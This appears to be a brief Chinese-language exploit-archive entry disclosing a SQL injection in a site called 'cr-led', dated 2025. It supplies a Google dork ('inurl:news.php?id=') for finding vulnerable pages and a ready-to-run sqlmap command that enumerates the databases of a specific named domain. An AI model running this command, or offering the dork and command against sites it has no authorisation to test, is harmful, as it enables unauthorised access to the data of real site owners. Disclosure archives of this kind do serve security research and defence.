cr-led - SQL 注入
2025.12.01 提交者: javad rashidi
风险等级: 中等
本地利用: 否
远程利用: 是
CVE编号: 不适用
CWE编号: 不适用
Dork语句: inurl:“news.php?id=”
“cr-led - SQL 注入”
漏洞标题： cr-led - SQL 注入
日期： 2025-11-13
漏洞提交者： javad rashidi
测试环境： Windows, Linux
Google Dork： inurl:“news.php?id=”
Sqlmap利用命令：
sqlmap -u "https://www.cr-led.com/news.php?id=4" --dbs
查看此报告的原始版本